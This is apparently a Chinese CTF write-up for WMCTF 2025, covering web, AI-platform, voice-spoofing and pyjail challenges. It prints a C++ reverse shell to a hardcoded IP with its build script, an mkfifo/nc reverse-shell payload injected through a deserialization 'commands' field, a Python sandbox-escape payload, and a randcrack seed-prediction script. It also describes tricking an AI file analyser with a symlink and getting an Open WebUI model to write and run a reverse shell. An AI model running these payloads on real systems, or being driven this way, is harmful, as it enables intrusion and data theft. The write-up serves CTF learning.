文章

WMCTF 2025 wp

前言

好比赛,圆梦一血和二血

Shopping company系列

1

并不是我写出来的

上传压缩包,后台会解压并读取文件让AI分析

只需要压缩包里面有指向flag的软链接,AI便会返回flag

2

同样方式读取源码,发现压缩包里如果是个executable会被自动运行

#include <cstdlib>
#include <iostream>
#include <sys/wait.h>

int main() {
    const char* command = "bash -c \\"bash -i >& /dev/tcp/156.238.233.37/4444 0>&1\\"";
    int code = std::system(command);
    if (code == -1) {
        std::perror("system");
        return 1;
    }
    if (WIFEXITED(code)) {
        return WEXITSTATUS(code);
    }
    std::cerr << "Command terminated abnormally" << '\\n';
    return 1;
}
#!/usr/bin/env bash
set -euo pipefail

SOURCE="list_files.cpp"
# BUILD_DIR="build/linux"
OUTPUT="list_files"
CXX="${CXX:-x86_64-linux-gnu-g++}"

if [[ ! -f "${SOURCE}" ]]; then
  echo "Error: ${SOURCE} not found" >&2
  exit 1
fi

if ! command -v "${CXX}" >/dev/null 2>&1; then
  echo "Error: ${CXX} not found. Install a cross compiler that targets x86_64 Linux and re-run." >&2
  exit 1
fi

# mkdir -p "${BUILD_DIR}"
"${CXX}" -std=c++17 -O2 "${SOURCE}" -o "${OUTPUT}"

echo "Built ${OUTPUT}"

chmod +x "${OUTPUT}"
zip "${OUTPUT}.zip" "${OUTPUT}"

拿到shell进去扫内网,配置代理

找到一个Open WebUI,也就是题目所说的AI平台

http://192.168.100.40:8080/

需要登陆使用。可以在前面的shell的/root/Desktop/credentials.txt下发现AI平台的账号密码AI [email protected]:123456

进去后发现AI模型有代码执行权限,于是在后台配置了模型api与key

要求AI写脚本执行反弹shell

成功弹shell

# cat flag   
wmctf{AI_is_the_future}

拿到一血

3

渗透http://192.168.100.30:8080,智能办公系统

登陆页面提示用户名密码为admin:admin

收集信息发现里面有个反序列

系统提示: 报告数据已通过 Redis 缓存系统优化,访问此页面时会触发数据反序列化过程。
缓存详情
 序列化格式: Go Gob
 存储方式: Redis 缓存
 编码格式: Base64
 访问时触发: 自动反序列化
数据输入 (JSON 格式)
支持复杂的 JSON 数据结构,系统会自动进行序列化处理并存储到 Redis 缓存中以提高访问速度。
基础数据格式:
{
  "sales": [
    {"month": "2024-01", "amount": 10000},
    {"month": "2024-02", "amount": 12000}
  ],
  "metadata": {
    "timestamp": "2024-03-15T10:30:00Z",
    "version": "1.0"
  }
}

高级模板格式(支持动态内容):
{
  "data": {"type": "sales", "period": "monthly"},
  "template": {
    "template_type": "dynamic",
    "fields": ["sales", "revenue"],
    "commands": ["echo Processing...", "date"]
  }
}

注意到command,尝试构造json

{
  "data": {"type": "sales", "period": "monthly"},
  "template": {
    "template_type": "dynamic",
    "fields": ["sales", "revenue"],
    "commands": ["rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f"]
  }
}

成功拿到shell,然后cat /flag.txt

wmctf{G0_D3s3r14l1z4t10n_R3d1s_RC3_Ch4ll3ng3_2025}

拿到二血

Voice_hacker

Wireshark解析RTP包,导出男性声音

然后进行音色克隆,POST上去即可

{'flag': 'WMCTF{01a9a4f1-e748-43fa-8d6d-bba372016adc}', 'message': '认证成功', 'success': True}

guess

rd = random.Random()

random只被实例化了一次,说明会共享seed,可以爆破出种子

然后是一个经典的pyjail

if payload:
    eval(payload, {'__builtin__':{}})

用类似

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cmd") 即可绕过

脚本


import requests
import re
import uuid
from randcrack import RandCrack
import sys
import time

URL = "<http://49.232.42.74:30935>"

s = requests.Session()
rc = RandCrack()

def get_rand_from_register():
    data = {"username": str(uuid.uuid4()), "password": str(uuid.uuid4())}
    try:
        r = s.post(f"{URL}/register", json=data, timeout=5)
        r.raise_for_status()
        user_id = r.json().get("user_id")
        if user_id:
            return int(user_id)
    except requests.exceptions.RequestException as e:
        print(f"[-] 注出错: {e}")
    return None

def get_rand_from_api():
    try:
        r = s.post(f"{URL}/api", json={"key": "1"}, timeout=5)
        if r.status_code == 403:
            message = r.json().get("message", "")
            match = re.search(r'Not Allowed:(\\d+)', message)
            if match:
                key2 = match.group(1)
                return int(key2)
    except requests.exceptions.RequestException as e:
        print(f"[-] 调用 /api 出错: {e}")
    return Non

def main():
    try:
        requests.get(URL, timeout=5)
    except requests.exceptions.RequestException:
        print(f"[-] 无法连接到目标 {URL}。")
        sys.exit(1)

    for i in range(312):
        time.sleep(0.1)
        print(f"[*] --- 正在收集第 {i+1}/312 对随机数 ---")
        rand1 = get_rand_from_register()
        if rand1 is not None: rc.submit(rand1)
        else: sys.exit("[-] 获取随机数失败,中止。")
        
        rand2 = get_rand_from_api()
        if rand2 is not None: rc.submit(rand2)
        else: sys.exit("[-] 获取随机数失败,中止。")
    
    while True:
        predicted_key = rc.predict_getrandbits(32)
        print(f"[!] 密钥预测成功: {predicted_key}")
        try:
            payload = input("payload > ")
            if payload.lower() in ['exit']:
                break
            if payload == "new":
                predicted_key = rc.predict_getrandbits(32)
                print(f"[!] 密钥预测成功: {predicted_key}")
                continue

            exploit_data = {"key": str(predicted_key), "payload": payload}
            
            response = s.post(f"{URL}/api", json=exploit_data)
            
            print(response.text[:800])

        except Exception as e:
            print(f"[-] 错误: {e}")

if __name__ == "__main__":
    main()

等待收集随机数完成后输入

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat /flag > /app/static/1")]

然后访问/static/1 获取flag

许可协议:  CC BY 4.0